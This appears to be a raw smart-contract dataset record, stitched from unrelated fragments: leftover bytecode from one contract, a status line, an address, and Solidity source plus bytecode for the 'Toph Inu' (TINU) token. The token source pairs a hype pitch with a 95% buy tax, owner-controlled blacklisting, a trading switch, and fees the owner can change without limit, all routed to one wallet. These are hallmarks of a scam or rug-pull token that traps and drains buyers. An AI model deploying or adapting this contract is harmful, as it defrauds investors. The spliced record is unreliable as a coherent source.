a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f414745430000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16151515610e8357600080fd5b81610e8d33610c93565b10151515610e9a57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610f1057610f05826008546114e090919063ffffffff16565b600881905550610fa4565b610f61826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461147690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561101a5761100f8260085461147690919063ffffffff16565b6008819055506110ae565b61106b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114e090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600360149054906101000a900460ff1615151561113b57600080fd5b611145838361178f565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561123057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561126c57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000806000806000925042925060095483111561143b5760095492505b6007548303915061146b60065461145d600a548561148f90919063ffffffff16565b6114ca90919063ffffffff16565b905080935050505090565b600082821115151561148457fe5b818303905092915050565b60008060008414156114a457600091506114c3565b82840290508284828115156114b557fe5b041415156114bf57fe5b8091505b5092915050565b600081838115156114d757fe5b04905092915050565b60008082840190508381101515156114f457fe5b8091505092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561160f576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116a3565b611622838261147690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600061182082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114e090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a360019050929150505600a165627a7a723058209480d4f5acd34d10692fdf275ce8b99f564592479480766bf7dc064cf01820ca0029
{"success": true, "error": null, "results": {}}
7,377
0xca42aefee6302f92df4c0dca37f2b48d6230bb77
/** */ /** 👸🏻 Toph Inu 👸🏻 Toph Beifong has the power and strength to be able to command and lead armies at her young age, and she is extremely cunning. Toph Inu will help us to achieve our 100X goal ! Stealth launching on UniSwap ✅ Lock & renounce 🔥 Experienced & motivated team 🚀 Big marketing plans 💬 Telegram: https://t.me/TophInuERC */ /** */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TophInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "TOPH INU"; string private constant _symbol = "TINU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 95; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x2aF03D60DdfA9e34E1E413bECf3cEf0340c16c3C); address payable private _marketingAddress = payable(0x2aF03D60DdfA9e34E1E413bECf3cEf0340c16c3C); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; uint256 public _maxWalletSize = 20000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610552578063dd62ed3e14610572578063ea1644d5146105b8578063f2fde38b146105d857600080fd5b8063a2a957bb146104cd578063a9059cbb146104ed578063bfd792841461050d578063c3c8cd801461053d57600080fd5b80638f70ccf7116100d15780638f70ccf71461044a5780638f9a55c01461046a57806395d89b411461048057806398a5c315146104ad57600080fd5b80637d1db4a5146103e95780637f2feddc146103ff5780638da5cb5b1461042c57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037f57806370a0823114610394578063715018a6146103b457806374010ece146103c957600080fd5b8063313ce5671461030357806349bd5a5e1461031f5780636b9990531461033f5780636d8aa8f81461035f57600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102cd5780632fd689e3146102ed57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195a565b6105f8565b005b34801561020a57600080fd5b50604080518082019091526008815267544f504820494e5560c01b60208201525b6040516102389190611a1f565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611a74565b610697565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b5066038d7ea4c680005b604051908152602001610238565b3480156102d957600080fd5b506102616102e8366004611aa0565b6106ae565b3480156102f957600080fd5b506102bf60185481565b34801561030f57600080fd5b5060405160098152602001610238565b34801561032b57600080fd5b50601554610291906001600160a01b031681565b34801561034b57600080fd5b506101fc61035a366004611ae1565b610717565b34801561036b57600080fd5b506101fc61037a366004611b0e565b610762565b34801561038b57600080fd5b506101fc6107aa565b3480156103a057600080fd5b506102bf6103af366004611ae1565b6107f5565b3480156103c057600080fd5b506101fc610817565b3480156103d557600080fd5b506101fc6103e4366004611b29565b61088b565b3480156103f557600080fd5b506102bf60165481565b34801561040b57600080fd5b506102bf61041a366004611ae1565b60116020526000908152604090205481565b34801561043857600080fd5b506000546001600160a01b0316610291565b34801561045657600080fd5b506101fc610465366004611b0e565b6108ba565b34801561047657600080fd5b506102bf60175481565b34801561048c57600080fd5b5060408051808201909152600481526354494e5560e01b602082015261022b565b3480156104b957600080fd5b506101fc6104c8366004611b29565b610902565b3480156104d957600080fd5b506101fc6104e8366004611b42565b610931565b3480156104f957600080fd5b50610261610508366004611a74565b61096f565b34801561051957600080fd5b50610261610528366004611ae1565b60106020526000908152604090205460ff1681565b34801561054957600080fd5b506101fc61097c565b34801561055e57600080fd5b506101fc61056d366004611b74565b6109d0565b34801561057e57600080fd5b506102bf61058d366004611bf8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c457600080fd5b506101fc6105d3366004611b29565b610a71565b3480156105e457600080fd5b506101fc6105f3366004611ae1565b610aa0565b6000546001600160a01b0316331461062b5760405162461bcd60e51b815260040161062290611c31565b60405180910390fd5b60005b81518110156106935760016010600084848151811061064f5761064f611c66565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068b81611c92565b91505061062e565b5050565b60006106a4338484610b8a565b5060015b92915050565b60006106bb848484610cae565b61070d843361070885604051806060016040528060288152602001611dac602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ea565b610b8a565b5060019392505050565b6000546001600160a01b031633146107415760405162461bcd60e51b815260040161062290611c31565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078c5760405162461bcd60e51b815260040161062290611c31565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107df57506013546001600160a01b0316336001600160a01b0316145b6107e857600080fd5b476107f281611224565b50565b6001600160a01b0381166000908152600260205260408120546106a89061125e565b6000546001600160a01b031633146108415760405162461bcd60e51b815260040161062290611c31565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b55760405162461bcd60e51b815260040161062290611c31565b601655565b6000546001600160a01b031633146108e45760405162461bcd60e51b815260040161062290611c31565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092c5760405162461bcd60e51b815260040161062290611c31565b601855565b6000546001600160a01b0316331461095b5760405162461bcd60e51b815260040161062290611c31565b600893909355600a91909155600955600b55565b60006106a4338484610cae565b6012546001600160a01b0316336001600160a01b031614806109b157506013546001600160a01b0316336001600160a01b0316145b6109ba57600080fd5b60006109c5306107f5565b90506107f2816112e2565b6000546001600160a01b031633146109fa5760405162461bcd60e51b815260040161062290611c31565b60005b82811015610a6b578160056000868685818110610a1c57610a1c611c66565b9050602002016020810190610a319190611ae1565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6381611c92565b9150506109fd565b50505050565b6000546001600160a01b03163314610a9b5760405162461bcd60e51b815260040161062290611c31565b601755565b6000546001600160a01b03163314610aca5760405162461bcd60e51b815260040161062290611c31565b6001600160a01b038116610b2f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610622565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bec5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610622565b6001600160a01b038216610c4d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610622565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d125760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610622565b6001600160a01b038216610d745760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610622565b60008111610dd65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610622565b6000546001600160a01b03848116911614801590610e0257506000546001600160a01b03838116911614155b156110e357601554600160a01b900460ff16610e9b576000546001600160a01b03848116911614610e9b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610622565b601654811115610eed5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610622565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2f57506001600160a01b03821660009081526010602052604090205460ff16155b610f875760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610622565b6015546001600160a01b0383811691161461100c5760175481610fa9846107f5565b610fb39190611cad565b1061100c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610622565b6000611017306107f5565b6018546016549192508210159082106110305760165491505b8080156110475750601554600160a81b900460ff16155b801561106157506015546001600160a01b03868116911614155b80156110765750601554600160b01b900460ff165b801561109b57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c057506001600160a01b03841660009081526005602052604090205460ff16155b156110e0576110ce826112e2565b4780156110de576110de47611224565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112557506001600160a01b03831660009081526005602052604090205460ff165b8061115757506015546001600160a01b0385811691161480159061115757506015546001600160a01b03848116911614155b15611164575060006111de565b6015546001600160a01b03858116911614801561118f57506014546001600160a01b03848116911614155b156111a157600854600c55600954600d555b6015546001600160a01b0384811691161480156111cc57506014546001600160a01b03858116911614155b156111de57600a54600c55600b54600d555b610a6b8484848461146b565b6000818484111561120e5760405162461bcd60e51b81526004016106229190611a1f565b50600061121b8486611cc5565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610693573d6000803e3d6000fd5b60006006548211156112c55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610622565b60006112cf611499565b90506112db83826114bc565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132a5761132a611c66565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137e57600080fd5b505afa158015611392573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b69190611cdc565b816001815181106113c9576113c9611c66565b6001600160a01b0392831660209182029290920101526014546113ef9130911684610b8a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611428908590600090869030904290600401611cf9565b600060405180830381600087803b15801561144257600080fd5b505af1158015611456573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611478576114786114fe565b61148384848461152c565b80610a6b57610a6b600e54600c55600f54600d55565b60008060006114a6611623565b90925090506114b582826114bc565b9250505090565b60006112db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611661565b600c5415801561150e5750600d54155b1561151557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153e8761168f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157090876116ec565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159f908661172e565b6001600160a01b0389166000908152600260205260409020556115c18161178d565b6115cb84836117d7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161091815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061163d82826114bc565b8210156116585750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116825760405162461bcd60e51b81526004016106229190611a1f565b50600061121b8486611d6a565b60008060008060008060008060006116ac8a600c54600d546117fb565b92509250925060006116bc611499565b905060008060006116cf8e878787611850565b919e509c509a509598509396509194505050505091939550919395565b60006112db83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ea565b60008061173b8385611cad565b9050838110156112db5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610622565b6000611797611499565b905060006117a583836118a0565b306000908152600260205260409020549091506117c2908261172e565b30600090815260026020526040902055505050565b6006546117e490836116ec565b6006556007546117f4908261172e565b6007555050565b6000808080611815606461180f89896118a0565b906114bc565b90506000611828606461180f8a896118a0565b905060006118408261183a8b866116ec565b906116ec565b9992985090965090945050505050565b600080808061185f88866118a0565b9050600061186d88876118a0565b9050600061187b88886118a0565b9050600061188d8261183a86866116ec565b939b939a50919850919650505050505050565b6000826118af575060006106a8565b60006118bb8385611d8c565b9050826118c88583611d6a565b146112db5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610622565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f257600080fd5b803561195581611935565b919050565b6000602080838503121561196d57600080fd5b823567ffffffffffffffff8082111561198557600080fd5b818501915085601f83011261199957600080fd5b8135818111156119ab576119ab61191f565b8060051b604051601f19603f830116810181811085821117156119d0576119d061191f565b6040529182528482019250838101850191888311156119ee57600080fd5b938501935b82851015611a1357611a048561194a565b845293850193928501926119f3565b98975050505050505050565b600060208083528351808285015260005b81811015611a4c57858101830151858201604001528201611a30565b81811115611a5e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8757600080fd5b8235611a9281611935565b946020939093013593505050565b600080600060608486031215611ab557600080fd5b8335611ac081611935565b92506020840135611ad081611935565b9295929450505060